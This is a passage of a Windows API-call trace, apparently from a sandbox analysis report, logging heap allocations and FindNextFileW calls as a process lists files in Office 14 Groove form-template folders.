RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c89e0 [0079.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d31e0 [0079.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.036] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0079.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8a00 [0079.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.037] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0079.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8a20 [0079.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0079.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.038] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3c400, ftCreationTime.dwHighDateTime=0x1ca5dc0, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77e3c400, ftLastWriteTime.dwHighDateTime=0x1ca5dc0, nFileSizeHigh=0x0, nFileSizeLow=0x14484, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0079.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.038] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0079.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.038] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x829, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0079.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.038] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="")) returned 1 [0079.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.038] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="")) returned 1 [0079.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.038] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69fe8900, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69fe8900, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x13c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplateRTL.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52942450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x797dd200, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x797dd200, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x4709, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplateRTL.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e4800, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2e4800, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x5c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplateRTL.html", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f34200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0f34200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14316, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathWelcomeImage.jpg", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.039] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f4a00, ftCreationTime.dwHighDateTime=0x1c9fe9d, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x418f4a00, ftLastWriteTime.dwHighDateTime=0x1c9fe9d, nFileSizeHigh=0x0, nFileSizeLow=0x30074, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x275e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031bc00, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3031bc00, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_hyperlink.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b9b600, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58b9b600, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27739b00, ftCreationTime.dwHighDateTime=0x1ca408b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27739b00, ftLastWriteTime.dwHighDateTime=0x1ca408b, nFileSizeHigh=0x0, nFileSizeLow=0x15162, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xefe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0079.040] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 0 [0079.041] GetLastError () returned 0x12 [0079.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0079.041] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, 